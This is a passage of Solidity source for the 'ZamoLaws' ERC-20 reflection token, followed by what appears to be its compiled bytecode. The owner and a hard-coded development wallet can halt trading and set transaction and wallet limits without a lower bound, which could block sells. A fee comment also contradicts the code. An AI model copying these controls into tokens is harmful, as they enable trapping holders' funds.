address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ZamoLaws is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ZamoLaws";
string private constant _symbol = "ZAMO";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
// Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 9;
// Sell Fee
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 13;
// Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x23D94B332F6F89cbD3555C645736a0bD52c70c68);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 5e9 * 10**9; //0.5% - 5000000000
uint256 public _maxWalletSize = 15e9 * 10**9; //1.5%
uint256 public _swapTokensAtAmount = 5e8 * 10**9; //0.05%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function developmentWallet() public view returns (address) {
return _developmentAddress;
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
// Trade start check
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _developmentAddress && from != _developmentAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _developmentAddress && to != address(this)) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
// Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
// Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
// Set Fee for Sells
// TAX SELLERS 25% WHO SELL WITHIN 48 HOURS (13% development + 12% holders redistribution)
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + (24 hours) >= block.timestamp)) {
_redisFee = 12;
_taxFee = 13;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
// Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external {
require(_msgSender() == _developmentAddress);
_swapTokensAtAmount = swapTokensAtAmount;
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount);
}
// Set trading on/off
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _developmentAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function manualsend() external {
require(_msgSender() == _developmentAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
// Set swap enabled
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
// Set Max transaction
function setMaxTxnAmount(uint256 maxTxAmount) external {
require(_msgSender() == _developmentAddress);
_maxTxAmount = maxTxAmount;
}
// Set Max wallet
function setMaxWalletSize(uint256 maxWalletSize) external {
require(_msgSender() == _developmentAddress);
_maxWalletSize = maxWalletSize;
}
// Lower buy fee
function lowerBuyTeamFee(uint256 amount) external {
require(_msgSender() == _developmentAddress);
require(amount >= 1 && amount <= _taxFeeOnBuy, "The amount needs to be greater than 1 and less than the current buy fee");
_taxFeeOnBuy = amount;
}
// Lower sell fee
function lowerSellTeamFee(uint256 amount) external {
require(_msgSender() == _developmentAddress);
require(amount >= 1 && amount <= _taxFeeOnSell, "The amount needs to be greater than 1 and less than the current sell fee");
_taxFeeOnSell = amount;
}
}
|
0x6080604052600436106101a05760003560e01c8063715018a6116100ec57806395d89b411161008a578063c04a541411610064578063c04a54141461059b578063dd62ed3e146105c6578063ea1644d514610603578063f2fde38b1461062c576101a7565b806395d89b411461050a57806398a5c31514610535578063a9059cbb1461055e576101a7565b8063881dce60116100c6578063881dce60146104625780638da5cb5b1461048b5780638f70ccf7146104b65780638f9a55c0146104df576101a7565b8063715018a6146103f757806374010ece1461040e5780637d1db4a514610437576101a7565b80632fd689e31161015957806349bd5a5e1161013357806349bd5a5e1461034f5780636d8aa8f81461037a5780636fc3eaec146103a357806370a08231146103ba576101a7565b80632fd689e3146102d0578063313ce567146102fb57806346001d8e14610326576101a7565b8063043a791d146101ac57806306fdde03146101d5578063095ea7b3146102005780631694505e1461023d57806318160ddd1461026857806323b872dd14610293576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101d360048036038101906101ce9190612b1c565b610655565b005b3480156101e157600080fd5b506101ea610712565b6040516101f79190612ee2565b60405180910390f35b34801561020c57600080fd5b5061022760048036038101906102229190612aaf565b61074f565b6040516102349190612eac565b60405180910390f35b34801561024957600080fd5b5061025261076d565b60405161025f9190612ec7565b60405180910390f35b34801561027457600080fd5b5061027d610793565b60405161028a9190613104565b60405180910390f35b34801561029f57600080fd5b506102ba60048036038101906102b59190612a5c565b6107a4565b6040516102c79190612eac565b60405180910390f35b3480156102dc57600080fd5b506102e561087d565b6040516102f29190613104565b60405180910390f35b34801561030757600080fd5b50610310610883565b60405161031d9190613179565b60405180910390f35b34801561033257600080fd5b5061034d60048036038101906103489190612b1c565b61088c565b005b34801561035b57600080fd5b50610364610949565b6040516103719190612e91565b60405180910390f35b34801561038657600080fd5b506103a1600480360381019061039c9190612aef565b61096f565b005b3480156103af57600080fd5b506103b8610a21565b005b3480156103c657600080fd5b506103e160048036038101906103dc91906129c2565b610a93565b6040516103ee9190613104565b60405180910390f35b34801561040357600080fd5b5061040c610ae4565b005b34801561041a57600080fd5b5061043560048036038101906104309190612b1c565b610c37565b005b34801561044357600080fd5b5061044c610ca2565b6040516104599190613104565b60405180910390f35b34801561046e57600080fd5b5061048960048036038101906104849190612b1c565b610ca8565b005b34801561049757600080fd5b506104a0610d6c565b6040516104ad9190612e91565b60405180910390f35b3480156104c257600080fd5b506104dd60048036038101906104d89190612aef565b610d95565b005b3480156104eb57600080fd5b506104f4610e46565b6040516105019190613104565b60405180910390f35b34801561051657600080fd5b5061051f610e4c565b60405161052c9190612ee2565b60405180910390f35b34801561054157600080fd5b5061055c60048036038101906105579190612b1c565b610e89565b005b34801561056a57600080fd5b5061058560048036038101906105809190612aaf565b610ef4565b6040516105929190612eac565b60405180910390f35b3480156105a757600080fd5b506105b0610f12565b6040516105bd9190612e91565b60405180910390f35b3480156105d257600080fd5b506105ed60048036038101906105e89190612a1c565b610f3c565b6040516105fa9190613104565b60405180910390f35b34801561060f57600080fd5b5061062a60048036038101906106259190612b1c565b610fc3565b005b34801561063857600080fd5b50610653600480360381019061064e91906129c2565b61102e565b005b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106966111f0565b73ffffffffffffffffffffffffffffffffffffffff16146106b657600080fd5b600181101580156106c95750600a548111155b610708576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ff90612f44565b60405180910390fd5b80600a8190555050565b60606040518060400160405280600881526020017f5a616d6f4c617773000000000000000000000000000000000000000000000000815250905090565b600061076361075c6111f0565b84846111f8565b6001905092915050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006107b18484846113c3565b610872846107bd6111f0565b61086d8560405180606001604052806028815260200161396460289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108236111f0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e7e9092919063ffffffff16565b6111f8565b600190509392505050565b60175481565b60006009905090565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108cd6111f0565b73ffffffffffffffffffffffffffffffffffffffff16146108ed57600080fd5b600181101580156109005750600c548111155b61093f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093690613004565b60405180910390fd5b80600c8190555050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109776111f0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a04576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fb90613044565b60405180910390fd5b80601460166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a626111f0565b73ffffffffffffffffffffffffffffffffffffffff1614610a8257600080fd5b6000479050610a9081611ee2565b50565b6000610add600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f4e565b9050919050565b610aec6111f0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7090613044565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c786111f0565b73ffffffffffffffffffffffffffffffffffffffff1614610c9857600080fd5b8060158190555050565b60155481565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ce96111f0565b73ffffffffffffffffffffffffffffffffffffffff1614610d0957600080fd5b610d1230610a93565b8111158015610d215750600081115b610d60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d57906130e4565b60405180910390fd5b610d6981611fbc565b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610d9d6111f0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2190613044565b60405180910390fd5b806014806101000a81548160ff02191690831515021790555050565b60165481565b60606040518060400160405280600481526020017f5a414d4f00000000000000000000000000000000000000000000000000000000815250905090565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eca6111f0565b73ffffffffffffffffffffffffffffffffffffffff1614610eea57600080fd5b8060178190555050565b6000610f08610f016111f0565b84846113c3565b6001905092915050565b6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110046111f0565b73ffffffffffffffffffffffffffffffffffffffff161461102457600080fd5b8060168190555050565b6110366111f0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ba90613044565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112a90612fa4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611268576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125f906130c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cf90612fc4565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113b69190613104565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611433576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142a90613084565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149a90612f04565b60405180910390fd5b600081116114e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dd90613064565b60405180910390fd5b6114ee610d6c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561155c575061152c610d6c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a815760148054906101000a900460ff166115ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a590612f24565b60405180910390fd5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156116595750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156117c6573073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156116c657503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561177a5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156117c5576015548111156117c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117bb90612f84565b60405180910390fd5b5b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156118725750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118aa57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561190757601654816118bc84610a93565b6118c691906131e9565b10611906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fd906130a4565b60405180910390fd5b5b600061191230610a93565b9050600060175482101590508080156119385750601460159054906101000a900460ff16155b80156119925750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156119aa5750601460169054906101000a900460ff165b8015611a005750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a565750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611a7e57611a6482611fbc565b60004790506000811115611a7c57611a7b47611ee2565b5b505b50505b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b285750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611bdb5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611bda5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611be95760009050611e6c565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611c945750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611cf05742600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600954600d81905550600a54600e819055505b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611d9b5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611e6b576000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414158015611e3d57504262015180600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3a91906131e9565b10155b15611e5757600c600d81905550600d600e81905550611e6a565b600b54600d81905550600c54600e819055505b5b5b611e7884848484612244565b50505050565b6000838311158290611ec6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ebd9190612ee2565b60405180910390fd5b5060008385611ed591906132ca565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f4a573d6000803e3d6000fd5b5050565b6000600754821115611f95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8c90612f64565b60405180910390fd5b6000611f9f612271565b9050611fb4818461229c90919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ff457611ff361345b565b5b6040519080825280602002602001820160405280156120225781602001602082028036833780820191505090505b509050308160008151811061203a5761203961342c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156120dc57600080fd5b505afa1580156120f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061211491906129ef565b816001815181106121285761212761342c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061218f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111f8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121f395949392919061311f565b600060405180830381600087803b15801561220d57600080fd5b505af1158015612221573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b80612252576122516122e6565b5b61225d848484612329565b8061226b5761226a6124f4565b5b50505050565b600080600061227e612508565b91509150612295818361229c90919063ffffffff16565b9250505090565b60006122de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061256a565b905092915050565b6000600d541480156122fa57506000600e54145b1561230457612327565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b60008060008060008061233b876125cd565b95509550955095509550955061239986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461267f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061247a816126dd565b612484848361279a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124e19190613104565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b600080600060075490506000683635c9adc5dea00000905061253e683635c9adc5dea0000060075461229c90919063ffffffff16565b82101561255d57600754683635c9adc5dea00000935093505050612566565b81819350935050505b9091565b600080831182906125b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125a89190612ee2565b60405180910390fd5b50600083856125c0919061323f565b9050809150509392505050565b60008060008060008060008060006125ea8a600d54600e546127d4565b92509250925060006125fa612271565b9050600080600061260d8e87878761286a565b92509250